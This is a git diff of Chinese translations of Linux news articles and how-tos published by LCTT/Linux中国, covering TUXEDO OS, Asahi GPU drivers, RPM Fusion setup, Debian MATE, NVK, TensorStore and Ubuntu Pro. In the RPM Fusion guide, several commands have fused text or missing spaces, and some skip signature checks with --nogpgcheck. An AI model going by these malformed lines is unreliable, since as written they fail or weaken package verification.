发行版,你可以对自己的体验充满信心。 + +如果你有兴趣,还可以找到关于 [TUXEDO OS 入门][16] 的官方文章。 + +**如果你希望获得一个基于 KDE 的定制化 Ubuntu 体验,TUXEDO OS 1 是一个不错的选择。** + +你可以通过使用它来支持他们的计划,这可能会让你决定购买一台 TUXEDO 设备;你永远不知道以后会发生什么,对吧? + +你可以从其官方网站下载它,并在下方的评论区中分享你的想法。 + +> **[下载 TUXEDO OS 1][17]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/tuxedo-os/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/tuxedo-os-1.png +[2]: https://news.itsfoss.com/content/images/2022/09/tuxedo-home.jpg +[3]: https://news.itsfoss.com/ubuntu-22-04-release/ +[4]: https://news.itsfoss.com/kde-plasma-5-24-lts-release/ +[5]: https://news.itsfoss.com/content/images/2022/09/tuxedo-menu.png +[6]: https://itsfoss.com/properly-theme-kde-plasma/ +[7]: https://itsfoss.com/properly-theme-kde-plasma/ +[8]: https://itsfoss.com/get-linux-laptops/ +[9]: https://itsfoss.com/get-linux-laptops/ +[10]: https://news.itsfoss.com/content/images/2022/09/tuxedo-os-repositories.png +[11]: https://www.tuxedocomputers.com/en/Featured-KDEs-outstanding-applications-and-tools.tuxedo +[12]: https://www.tuxedocomputers.com/en/TUXEDO-Aquaris.tuxedo +[13]: https://news.itsfoss.com/content/images/2022/09/tuxedo-os-control-center.png +[14]: https://news.itsfoss.com/content/images/2022/09/tuxedo-webfai.jpg +[15]: https://news.itsfoss.com/content/images/2022/09/tuxedo-tomte.jpg +[16]: https://www.tuxedocomputers.com/en/First-Steps-with-TUXEDO-OS.tuxedo +[17]: https://www.tuxedocomputers.com/os +[18]: https://www.humblebundle.com/books/linux-no-starch-press-books?partner=itsfoss diff --git a/published/202210/20221001 A Native Linux GPU Driver for Apple Silicon is Almost Ready!.md b/published/202210/20221001 A Native Linux GPU Driver for Apple Silicon is Almost Ready!.md new file mode 100644 index 0000000000..7b83d23f04 --- /dev/null +++ b/published/202210/20221001 A Native Linux GPU Driver for Apple Silicon is Almost Ready!.md @@ -0,0 +1,68 @@ +[#]: subject: "A Native Linux GPU Driver for Apple Silicon is Almost Ready!" +[#]: via: "https://news.itsfoss.com/linux-gpu-driver-apple/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "KevinZonda" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15114-1.html" + +一个适用于苹果芯片的原生 Linux GPU 驱动程序几乎就绪! +====== + +> 苹果 M1 上的原生 Linux GPU 驱动?它就快来了! + +![一个适用于苹果芯片的原生 Linux GPU 驱动程序几乎就绪!][1] + +让 Linux 在 苹果芯片Apple Silicon 设备上工作是我们很多人的愿望! + +感谢 [Asahi Linux 项目][2],它现在对测试者来说已经成为现实。当然,它还没有准备好进入最佳时期,但如果你是一个资深 Linux 用户,你现在就可以在苹果 M1/M2 设备上尝试 Linux。 + +现在,Linux 开发者 **Asahi Lina** 的一个令人兴奋的进展引起了我们所有人的注意。 + +**我们可能会比预期更早地拥有一个用 Rust 编写的原生 GPU 驱动程序。** + +### 所以,这意味着什么? + +几个月前,Asahi Lina 加入了 Asahi Linux 项目,并开始 [开发一个驱动程序原型][3] 以在 Linux 上运行图形应用程序。 + +现在,通过更多的调整和一些来自 Asahi Lina 对 M1 GPU 硬件接口的逆向工程的惊人的贡献,她已经成功地在苹果 M1 芯片上运行了 GNOME、KDE 应用程序,做到了在 Firefox 上播放 YouTube 等事情! + +以下是她 [推特][4] 的内容: + +> GNOME 运行了!!Firefox 浏览器可以运行!你可以看 YouTube,玩 Neverball,运行 KDE 应用程序,以及更多!! 没有崩溃!!! +> +> 在苹果 M1 的原生 Linux GPU 驱动上!! + +需要注意的是,这还没有在苹果 M2 上测试过。 + +这里还有个视频,你可以看到它运行的情况: + +![它工作了!GNOME、Firefox、KDE 应用和所有东西!!!!][5] + +她还解释说: + +> 我使用了一个糟糕的黑科技来解决一个稳定性问题,这影响了性能,但它证明了这是唯一剩下的主要问题!一旦我把它修复好了,我们就会有完整的性能和稳定性!然后就只剩下 Mesa 驱动程序的修复了!!! + +当然,这还只是处于早期的开发,我们甚至没有在 Linux 内核中拥有 Rust 实现。所以,当 Rust 开始进入主线版本时,也就是 Linux 内核 6.1 或更新版本时,你可能会看到它越来越接近现实。 + +尽管如此,这对 Asahi Linux 来说是一个不可思议的里程碑。随着一些发展,用户一定急于在苹果芯片设备上尝试 Linux。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-gpu-driver-apple/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[KevinZonda](https://github.com/KevinZonda) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/native-apple-linux-gpu.png +[2]: https://news.itsfoss.com/asahi-linux-announcement/ +[3]: https://asahilinux.org/2022/07/july-2022-release/ +[4]: https://twitter.com/LinaAsahi/status/1575343067892051968 +[5]: https://youtu.be/k0cnMUroMlQ diff --git a/published/202210/20221002 How to Enable RPM Fusion Repo in Fedora, CentOS, RHEL.md b/published/202210/20221002 How to Enable RPM Fusion Repo in Fedora, CentOS, RHEL.md new file mode 100644 index 0000000000..08529949f5 --- /dev/null +++ b/published/202210/20221002 How to Enable RPM Fusion Repo in Fedora, CentOS, RHEL.md @@ -0,0 +1,206 @@ +[#]: subject: "How to Enable RPM Fusion Repo in Fedora, CentOS, RHEL" +[#]: via: "https://www.debugpoint.com/enable-rpm-fusion-fedora-rhel-centos/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15145-1.html" + +如何在 Fedora、CentOS、RHEL 中启用 RPM Fusion 仓库 +====== + +> 本指南解释了在 Fedora Linux 发行版中启用第三方软件仓库 RPM Fusion 的步骤。 + +[RPM Fusion][1] 软件仓库是一个社区维护的软件仓库,它为 Fedora Linux 提供额外的软件包,这些软件包不是由 Fedora 官方团队分发,例如 DVD 播放、媒体播放、来自 GNOME 和 KDE 的软件等。这是因为许可证、其他法律原因和特定国家/地区的软件规范而导致的。 + +RPM Fusion 为 Red Hat Enterprise Linux(RHEL)以及 Fedora 提供了 .rpm 包。 + +本指南介绍了在 Fedora Linux 中启用 RPM Fusion 仓库所需的步骤。本指南适用于所有 Fedora 发行版本。 + +这在所有当前支持的 Fedora 版本(35、36 和 37)中进行了测试。 + +![](https://img.linux.net.cn/data/attachment/album/202210/16/111338jjr0eh5cjgq017n5.jpg) + +### 如何在 Fedora Linux、RHEL、CentOS 中启用 RPM Fusion 仓库 + +RPM Fusion 有两种版本的仓库:自由和非自由。 + +顾名思义,自由版包含软件包的自由版本,非自由版包含封闭源代码的编译软件包和“非商业”开源软件。 + +在继续之前,首先检查你是否安装了 RPM fusion。打开终端并运行以下命令。 + +``` +dnf repolist | grep rpmfusion +``` + +如果安装了 RPM,你应该会看到如下所示的消息。就不用下面的步骤。如果未安装,你可以继续执行以下步骤。 + +![RPM Fusion 已安装][3] + +打开终端并根据你的操作系统版本运行以下命令。请注意,这些命令包含自由和非自由版本。如果你愿意,你可以在运行时省略下面的任何一个。 + +#### Fedora + +自由版: + +``` +sudo dnf install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm +``` + +非自由版: + +``` +sudo dnf install https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm +``` + +#### 在 Silverblue 上使用 rpm-ostree + +自由版: + +``` +sudo rpm-ostree install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm +``` + +非自由版: + +``` +sudo rpm-ostree install https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm +``` + +#### RHEL 8 + +先安装 EPEL: + +``` +sudo dnf install --nogpgcheck https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm +``` + +自由版: + +``` +sudo dnf install --nogpgcheck https://download1.rpmfusion.org/free/el/rpmfusion-free-release-8.noarch.rpm +``` + +非自由版: + +``` +sudo dnf install --nogpgcheckhttps://download1.rpmfusion.org/nonfree/el/rpmfusion-nonfree-release-8.noarch.rpm +``` + +开发相关软件包: + +``` +sudo subscription-manager repos --enable "codeready-builder-for-rhel-8-$(uname -m)-rpms" +``` + +#### CentOS 8 + +先安装 EPEL: + +``` +sudo dnf install --nogpgcheck https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm +``` + +自由版: + +``` +sudo dnf install --nogpgcheck https://download1.rpmfusion.org/free/el/rpmfusion-free-release-8.noarch.rpm +``` + +非自由版: + +``` +sudo dnf install --nogpgcheckhttps://download1.rpmfusion.org/nonfree/el/rpmfusion-nonfree-release-8.noarch.rpm +``` + +启用 PowerTools: + +``` +sudo dnf config-manager --enable PowerTools +``` + +### 附加说明 + +RPM Fusion 还可以帮助用户安装来自 GNOME 软件或 KDE Discover 的软件包。要在 Fedora 中启用它,请运行以下命令: + +``` +sudo dnf groupupdate core +``` + +你还可以通过以下命令启用 RPM Fusion 来使用 gstreamer 和其他多媒体播放包来播放媒体文件。 + +``` +sudo dnf groupupdate multimedia --setop="install_weak_deps=False" --exclude=PackageKit-gstreamer-plugin +``` + +``` +sudo dnf groupupdate sound-and-video +``` + +启用 RPM Fusion 以使用 libdvdcss 播放 DVD。 + +``` +sudo dnf install rpmfusion-free-release-taintedsudo dnf install libdvdcss +``` + +通过以下命令启用 RPM Fusion 以启用非 FLOSS 硬件包。 + +``` +sudo dnf install rpmfusion-nonfree-release-taintedsudo dnf install *-firmware +``` + +运行命令后,如果你使用的是 Fedora 或 CentOS/RHEL,请在重启前运行以下命令。 + +``` +sudo dnf check-updatesudo dnf update +``` + +### 如何使用 dnf 删除仓库 + +如果要删除仓库,请按照以下步骤操作。 + +首先,使用以下命令查看添加到 Fedora 系统的仓库列表。 + +``` +dnf repolist +``` + +![dnf 仓库列表][4] + +如你所见,添加了 rpmfusion 自由和非自由仓库。要通过 dnf 删除它,你需要使用以下命令准确知道仓库文件名。 + +``` +rpm -qa 'rpmfusion*' +``` + +这将列出仓库的确切名称。在示例中,它们是 “rpmfusion-free-release”。 + +![从 Fedora 中移除 rpmfusion][5] + +现在你可以简单地运行以下命令来删除它。 + +``` +sudo dnf remove rpmfusion-free-release +``` + +你可以重复上面的例子从 Fedora 中删除 rpmfusion,也可以使用它从系统中删除任何其他仓库。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/enable-rpm-fusion-fedora-rhel-centos/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://rpmfusion.org/ +[2]: https://www.debugpoint.com/wp-content/uploads/2020/07/rpmfusion.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2020/07/RPM-Fusion-Already-Installed-.png +[4]: https://www.debugpoint.com/wp-content/uploads/2020/07/dnf-repolist.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2020/07/remove-rpmfusion-from-fedora.jpg diff --git a/published/202210/20221003 Get Ready for Ubuntu MATE Experience on Debian Linux!.md b/published/202210/20221003 Get Ready for Ubuntu MATE Experience on Debian Linux!.md new file mode 100644 index 0000000000..a01dc1f6de --- /dev/null +++ b/published/202210/20221003 Get Ready for Ubuntu MATE Experience on Debian Linux!.md @@ -0,0 +1,88 @@ +[#]: subject: "Get Ready for Ubuntu MATE Experience on Debian Linux!" +[#]: via: "https://news.itsfoss.com/ubuntu-mate-debian/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "KevinZonda" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15119-1.html" + +准备好在 Debian Linux 上获得 Ubuntu MATE 的体验吧! +====== + +> Ubuntu MATE 的体验将在 2023 年进入 Debian 的 MATE 版中?从这里了解更多。 + +![准备好在 Debian Linux 上获得 Ubuntu MATE 的体验吧!][1] + +Ubuntu MATE 的创始人与维护者之一 **Martin Wimpress**,在 Ubuntu MATE 22.10 的测试版发布说明中提到了一些相当有趣的事情。 + +他的目标是将 Ubuntu MATE 的体验带到 Debian 🧐。 + +等等,你不是已经可以在 Debian 上安装 MATE 了吗? + +是的,但是怎样使用 Debian 上的所有现代工具获得与 Ubuntu MATE 类似的用户体验呢? + +### 将 Ubuntu MATE 的体验带入 Debian 的版本中 + +![][2] + +以下是 Martin 提到的内容: + +> 用最近的标准来说,Ubuntu MATE 22.10 是一个适度更新,专注与“提高生活质量”。而这个版本的 Ubuntu MATE 没有采用你通常期望的桶状 🪣 变化清单是有原因的,这是因为我一直在帮助将 Ubuntu MATE 的完整体验带到 Debian MATE 🧉。 + +这是很吸引人的东西。 + +**这是否意味着 Ubuntu MATE 未来不会有任何重大更新?** + +不,Ubuntu MATE 仍然会收到更新。 + +另外,Martin 还澄清说,他并没有退出 Ubuntu MATE 的开发,并且将和往常一样进行。 + +然而,如果你想看看 Ubuntu MATE 的主要功能更新的长列表,你必须要等待一段时间。 + +他打算在 Debian MATE 和 Ubuntu MATE 之间提供一致的体验。 + +Debian MATE 在用户中不那么受欢迎并**不足为奇**。主要是因为它不提供 Ubuntu MATE 那样的现代改进。 + +因此,他们的目标是为 Debian MATE 带来类似的体验,这将使现有用户既可以使用 Debian 也可以使用 Ubuntu。 + +**此外,** 这将使开发变得更容易: + +> 使 Debian 和 Ubuntu 中的 MATE 体验保持一致,使所有相关人员的维护变得更加容易。 + +**那么,我们是否可以期待与 Debian 上是否能和 Ubuntu MATE 22.10(Kinetic Kudu)非常相似?** + +![ubuntu mate 22.10 hud settings][5] + +大概是。但这需要时间。 + +> 💡 他们希望在 Debian 12 的 Debian MATE 上提供类似的体验。我们已经知道 Debian 12 计划于 2023 年发布。因此,有足够的时间等待它。 + +你可以期待将 MATE Tweak 和 [Ayatana Indicators][6] 等应用程序集成到 Debian MATE 中。 + +这让我认为 Debian MATE 可以成为 Ubuntu MATE 用户寻求改变或想要尝试 Debian 的MATE 风格的绝佳选择。 + +当然,这并不会让即将到来的 Ubuntu MATE 22.10 变得不那么令人兴奋。它仍将包括许多有价值的好东西;你可能想查看它的 [beta 版本说明][7] 以了解更多信息。 + +💬 *在了解了这一发展之后,你如何看待 Debian 未来的 MATE 版本?你会为此放弃 Ubuntu MATE 吗?让我知道你的想法!* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ubuntu-mate-debian/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[KevinZonda](https://github.com/KevinZonda) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/ubuntu-mate-comes-to-debian-mate.png +[2]: https://news.itsfoss.com/content/images/2022/10/homeworld_desktop-1024x576.png +[3]: https://itsfoss.com/debian-based-distros/ +[4]: https://itsfoss.com/debian-based-distros/ +[5]: https://news.itsfoss.com/content/images/2022/10/Ubuntu_MATE_22.10.png +[6]: https://ayatanaindicators.github.io/about/ +[7]: https://ubuntu-mate.org/blog/ubuntu-mate-kinetic-kudu-release-notes/ diff --git a/published/202210/20221004 Security Issues With Open Source In Today-s World.md b/published/202210/20221004 Security Issues With Open Source In Today-s World.md new file mode 100644 index 0000000000..80ca7226c6 --- /dev/null +++ b/published/202210/20221004 Security Issues With Open Source In Today-s World.md @@ -0,0 +1,47 @@ +[#]: subject: "Security Issues With Open Source In Today’s World" +[#]: via: "https://www.opensourceforu.com/2022/10/security-issues-with-open-source-in-todays-world/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "KevinZonda" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15125-1.html" + +当今世界的开源安全问题 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/10/160918vmfxmsm4bnwi0nb4.jpg) + +> 开源代码可能是当今大多数公司最可行的选择,但它也伴随着自己的问题。 + +许多人支持使用 开源软件open source software(OSS)。毕竟,我们为什么要不断地尝试构建代码来解决别人已经解决过的问题?为什么不分享信息并逐步和迭代地增强当前的开源解决方案呢?这些平等主义价值观egalitarian values,可能是整个文明的根本,更不用说软件了,但还是包含了几千年来一直存在的冲突。 + +开源软件安全的问题在于,尽管任何人都可以查看源代码,但这并不意味着他们会这么做。有一些广泛使用的开源项目仅由数量有限的工程师维护。这些工程师无法完全自愿地提供时间和精力,因为他们也需要支付他们的账单。 + +即使对于更复杂的开源项目,这也是一个问题。举个例子,Linux 内核项目由 3000 多万行代码组成,包含数百个需要解决的缺陷,并有近 2000 名活跃的开发者。每个活跃的开发者都写了超过 15000 行的代码。 + +根据 Linux 基金会最近的一项研究,一个应用程序平均有 5.1 个重大漏洞仍未解决,41% 的企业对其开源软件的安全性缺乏信心。而更糟糕的是,只有 49% 的企业拥有开源安全策略。 + +即使开源软件有安全漏洞,这也不能保证它能被修复。调查显示,目前修复一个漏洞平均需要 97.8 天,使使用该软件的企业在几个月内容易受到攻击。这就是开源软件安全有时被忽视的地方:就像好人可以寻找代码中的错误和漏洞来修复它们一样,坏人也可以寻找同样的漏洞来利用它们。 + +仅仅依靠志愿者社区来发现漏洞、报告漏洞和修复漏洞是一个漫长的过程。在你继续受益于开源的广泛优势的同时,花钱请人检查你的开源解决方案的安全性可以帮助弥补这个问题。 + +由于必须部署开源软件的更新和补丁以保证系统的安全,这一要求会带来独特的困难。如果你的解决方案依赖于某个软件版本,更新你的关键任务软件可能会导致功能损失和/或计划外的停机。当情况对业务至关重要时,聘请专家来回传补丁并维护一个时间更长的版本可能比让大型社区愿意去做更加优雅。 + +开源社区经常使用的一句话是:“这是开源的,去改变它吧!”它强调了一个关键点:当别人在项目中投入时间、精力或金钱的时候,期望白白得到良好的安全水平是不合理的,也是不可持续的。 + +要么按原定计划为开源做出贡献,改进代码并为他人发布,要么聘请专业人士管理开源代码并在必要时进行调试,这些都是选择。然而,这个行业无法承担完全不做贡献。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/10/security-issues-with-open-source-in-todays-world/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[KevinZonda](https://github.com/KevinZonda) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202210/20221006 A New Open Source Vulkan Driver for NVIDIA Graphics is Ready to Test!.md b/published/202210/20221006 A New Open Source Vulkan Driver for NVIDIA Graphics is Ready to Test!.md new file mode 100644 index 0000000000..92f45b6741 --- /dev/null +++ b/published/202210/20221006 A New Open Source Vulkan Driver for NVIDIA Graphics is Ready to Test!.md @@ -0,0 +1,89 @@ +[#]: subject: "A New Open Source Vulkan Driver for NVIDIA Graphics is Ready to Test!" +[#]: via: "https://news.itsfoss.com/nvidia-nvk/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15124-1.html" + +一个全新的用于英伟达显卡的开源 Vulkan 驱动已经准备好测试了! +====== + +> 为英伟达显卡开发的一个全新的开源驱动正在开发中!这里有一些好的进展…… + +![一个全新的用于英伟达显卡的开源 Vulkan 驱动已经准备好测试了!][1] + +**NVK** 是一个全新的用于英伟达显卡的开源 Vulkan 驱动,它的目标是成为新的主流显卡驱动。 + +这成为可能的部分原因是因为英伟达开源了数据中心 GPU 和消费级 GPU(GTX/RTX)的 GPU 内核模块。 + +> **[英伟达在改善其 GPU 在 Linux 上的体验方面迈出了重要的一步][2]** + +它使开发人员能够改进开源驱动程序并启用比以前更多的功能。 + +让我们来看看 NVK 可以提供什么。 + +### 新的适用于英伟达 GPU 的 NVK 开源驱动程序 + +**Jason Ekstrand**(Collabora 的工程师)和 Red Hat 的其他人已经在过去几个月里编写了 NVK 的代码。 + +他们可以利用 Turing 系列显卡提供的统一固件 BLOB,然后在其上构建 Vulkan 支持。 + +**但是,不是已经有了 nouveau 开源驱动程序了吗?** + +NVK 与其他的 nouveau 驱动非常不同,因为它是从头开始编写的。 + +nouveau 是一个主要的英伟达显卡的开源驱动程序,已经年久失修了,试图在它的基础上构建是一个很多人都无法承担的任务。 + +当然,它是由有很多才华的工程师开发的,但是缺乏公司的支持和贡献者的影响了它的发展。 + +**NVK 旨在克服这些问题,同时专注于对 Turing 系列及更高版本 GPU 的支持。** + +由于内核的开发方式,对于 Kepler、Maxwell 和 Pascal 等较旧的 GPU 的支持可能不会很容易地加入 NVK。它也许极大地依赖于新内核,从而只支持较新的 GPU。 + +同时,nouveau 内核接口与 Vulkan 不兼容,阻碍了对较旧 GPU 的支持。 + +但是,仍然有进一步测试的空间,这可能会让 NVK 可以支持较旧的 GPU。 + +当然,随着更多的社区贡献,NVK 可以通过增加额外的功能和 GPU 支持来改进。 + +### 如何尝试它? + +NVK 目前处于非常初级的状态,有很多功能缺失,并且正在持续开发中。 + +**所以,它还不适合让所有类型的用户尝试。** + +你还是可以通过拉取 freedesktop.org 上的 [nouveau/mesa 项目][4] 的 nvk/main 分支并构建它来尝试它。 + +如果你想的话,你也可以通过贡献到该项目下的 [nvk/main 分支][5] 来帮助 NVK 的开发。 + +对于更多的技术信息,你可以参考 [官方公告][6]。 + +### 未来潜力 + +NVK 有很多潜力,尤其是与老化的 [nouveau][7] 图形驱动套件相比。 + +这可以为 nouveau 带来一个合适的继承者,同时为 Linux 提供一个带有很多功能的、主流的开源英伟达图形驱动套件。 + +💬 *你对此有什么看法?你认为这最终能够实现 nouveau 驱动程序所未能实现的吗?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/nvidia-nvk/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/opensource-native-vulkan-gpu-driver-for-nvidia.png +[2]: https://news.itsfoss.com/nvidia-open-source-linux/ +[4]: https://gitlab.freedesktop.org/nouveau/mesa +[5]: https://gitlab.freedesktop.org/nouveau/mesa/-/tree/nvk/main/ +[6]: https://www.collabora.com/news-and-blog/news-and-events/introducing-nvk.html +[7]: https://nouveau.freedesktop.org/ diff --git a/published/202210/20221006 Google AI Unveils A New Open Source Library for Array Storage.md b/published/202210/20221006 Google AI Unveils A New Open Source Library for Array Storage.md new file mode 100644 index 0000000000..b754707239 --- /dev/null +++ b/published/202210/20221006 Google AI Unveils A New Open Source Library for Array Storage.md @@ -0,0 +1,41 @@ +[#]: subject: "Google AI Unveils A New Open Source Library for Array Storage" +[#]: via: "https://www.opensourceforu.com/2022/10/google-ai-unveils-a-new-open-source-library-for-array-storage/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "KevinZonda" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15128-1.html" + +谷歌 AI 推出新的数组存储开源库 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/10/google3-1068x559.jpg) + +> 谷歌 AI 引入了一个用于数组存储的高性能开源库 TensorStore。 + +谷歌开发的开源 C++ 和 Python 框架 TensorStore 旨在加速大型多维数组的读写设计。覆盖单一大型坐标系的多维数据集通常用于当代计算机科学和机器学习应用程序中。使用这些数据集具有挑战性,因为客户经常希望进行涉及多个工作站并行操作的调查,并且可能会以不可预测的间隔和不同的规模接收和输出数据。 + +谷歌研究院开发了 TensorStore,该库为用户提供了一个可以管理巨大数据集的 API,而无需复杂的硬件,以解决数据存储和操作问题。该库支持许多存储系统,包括本地和网络文件系统、谷歌云存储等。 + +为了加载和处理大量数据,TensorStore 提供了一个简单的 Python API。任何任意大小的基础数据集都可以加载和更新,而无需将数据集完整存储在内存中,因为在需要精确切片之前不需要在内存中读取或保存实际数据。 + +这是通过索引和操作语法实现的,它与 NumPy 操作的语法非常相似。除了虚拟视图、广播、对齐和其他复杂的索引功能,TensorStore 还支持如数据类型转换、降低取样和随意创建的数组这些功能。 + +此外,TensorStore 包含一个异步 API,可以并发进行读取或写入操作。在执行其他工作时,软件可以进行内存缓存处理(可配置),从而减少在访问常用数据时处理较慢存储系统的需要。 + +大型数值数据集需要大量的处理能力来检查和分析。实现这一点的常用方法是在分散在许多设备上的大量 CPU 或加速器内核之间并行化任务。在保持出色速度的同时并行分析单个数据集的能力一直是 TensorStore 的关键目标。 PaLM、脑图和其他复杂的大规模机器学习模型是 TensorStore 应用案例的一些例子。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/10/google-ai-unveils-a-new-open-source-library-for-array-storage/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[KevinZonda](https://github.com/KevinZonda) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202210/20221006 Ubuntu Pro Now Gives You 10 Years of Security Updates for Free.md b/published/202210/20221006 Ubuntu Pro Now Gives You 10 Years of Security Updates for Free.md new file mode 100644 index 0000000000..e15b80f9e8 --- /dev/null +++ b/published/202210/20221006 Ubuntu Pro Now Gives You 10 Years of Security Updates for Free.md @@ -0,0 +1,81 @@ +[#]: subject: "Ubuntu Pro Now Gives You 10 Years of Security Updates for Free" +[#]: via: "https://news.itsfoss.com/ubuntu-pro-free/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "KevinZonda" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15120-1.html" + +Ubuntu Pro 现在免费为你提供 10 年的安全更新 +====== + +> 好消息:一个免费的 Ubuntu Pro 计划,每个人都可以获得 10 年的安全更新。 + +![Ubuntu Pro 现在免费为你提供 10 年的安全更新][1] + +Canonical 为 Ubuntu Pro 引入了一个免费计价层,该层针对个人使用和小规模部署。 + +**Ubuntu Pro** 订阅(以前称为 “Ubuntu Advantage”)最初是为企业提供的,用于为他们额外提供 5 年的 Ubuntu LTS 版本的扩展安全维护更新。 + +该免费计价层已在公共测试版中提供。 + +### 对于个人与数据中心的 Ubuntu Pro + +![Canonical 启动 Ubuntu Pro beta][2] + +目前作为测试版提供,Ubuntu Pro 的免费计价层可供个人用户或小型数据中心使用,最多可容纳五台机器。 + +随着此次发布,Canonical 首席执行官 Mark Shuttleworth 表示: + +> 自从我们首次推出 Ubuntu LTS 以来,并为这个主要的操作系统免费提供五年的安全保障,我们的企业客户要求我们在私人商业协议下覆盖越来越广泛的开源领域。今天,我们很高兴通过免费的个人 Ubuntu Pro 订阅免费向世界上的任何人提供! + +与标准发行版相比,Ubuntu Pro 的主要优势在于不断提供安全补丁。 + +![ubuntu pro 好处][3] + +**对于希望系统稳定而又不会丢失安全更新的用户来说,这是一个难以置信的好消息。** + +安全维护更新会定期推出,尤其是在发现新的 CVE(常见漏洞和暴露)时。 + +用户可以利用 [Livepatch][4] 来应用安全补丁,而无需关闭他们的系统。这包含在 Ubuntu Pro 订阅中。 + +小型企业和个人还可以使用合规管理所需的各种工具,支持 PCI-DSS、HIPAA、FedRAMP 等合规标准,并作为 Ubuntu Pro 订阅的一部分。 + +**那么,个人和企业使用 Ubuntu 的更多激励措施?** + +> 💡 如果你最多有五台机器要用,Ubuntu Pro 的免费个人层应该是一个不折不扣正确的选择,而不是其他平台。 + +借助个人 Ubuntu Pro 计划,小规模用户现在可以享受 10 年安全保障(*5 年 LTS 更新 + 5 年扩展安全维护更新*),**其中包括对额外 23,000 个软件包的支持。** + +这个免费的 Ubuntu Pro 订阅层的推出可以帮助 [Canonical][5] 吸引更多用户使用 Ubuntu,这对于计算机用户采用 Linux 来说是一件好事。 + +你只需在他们的 [官方网站][6] 上注册个人 Ubuntu Pro 订阅。 + +更多详情,请查看[官方公告][7]。 + +> **[注册 Ubuntu Pro][8]** + +💬 *你会考虑选择免费的个人 Ubuntu 